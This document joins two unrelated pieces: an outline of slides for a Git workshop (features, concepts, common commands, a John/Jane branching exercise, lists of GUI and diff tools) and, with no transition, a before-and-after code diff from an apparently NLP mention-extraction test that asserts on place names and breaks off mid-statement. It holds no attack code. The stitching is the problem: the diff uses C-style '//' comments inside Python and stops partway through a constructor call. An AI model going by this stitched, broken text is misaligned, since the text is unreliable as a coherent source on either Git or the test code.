- "everything from small to very large projects with speed and efficiency"
- GitHub
Features
- easy non-linear development
- any workflow
- fast and secure
- implicit backup
- de-facto standard
- free and open-source
Hurdles
- powerful and complex
- cryptic command-line interface
- late integration
Concepts
- commit is a changeset with SHA1 hash id
- commits make Directed Acyclic Graph
- branches are pointers
- HEAD is the current branch
- working dir, staging, repository
- many repositories
Magic spells
- init [--bare], clone
- status, diff, diff --cached, log [--graph]
- add [-p], reset
- commit
- pull, fetch, push [--force]
- checkout
- merge [--ff], rebase, rebase -i, cherrypick
Workshop
- Dev on master, release branches
- John: README
- Jane: first impl
- John: exception for -1 (merge/rebase)
- Jane: comment
- John: copyrights
- Jane: Release 1.0
- John: Bug fix to 1.0 and master
- Jane: Perf improv
- John: Add comment
- Jane: Format code (rebase -i)
Toolbox
- SourceTree, Git Extensions, IDE plugins
- gitgraphjs, gitdags, commits-graph, ungit, git-big-picture, gitk, gitx
- kdiff, meld, cdiff, BeyondCompare, P4Merge, Kaleidoscope, diffmerge
- gitignore.io
- GitHub, GitLab, Stash


Before Change
[PersonMatcher(), birthplace_matcher],
)
mention_extractor.apply(docs, parallelism=PARALLEL)
mentions = session.query(Place).all()
mention_spans = [x.context.get_span() for x in mentions]
assert "Sinking Spring Farm" in mention_spans
assert "Farm" in mention_spans
assert len(mention_spans) == 23
After Change
[PersonMatcher(), birthplace_matcher],
)
doc = mention_extractor_udf.apply(doc)
mentions = doc.places
mention_spans = [x.context.get_span() for x in mentions]
assert "Sinking Spring Farm" in mention_spans
assert "Farm" in mention_spans
assert len(mention_spans) == 23
// Clear manually
for mention in doc.places[:]:
doc.places.remove(mention)
birthplace_matcher = LambdaFunctionMatcher(
func=is_birthplace_table_row, longest_match_only=True
)
mention_extractor_udf = MentionExtractorUDF(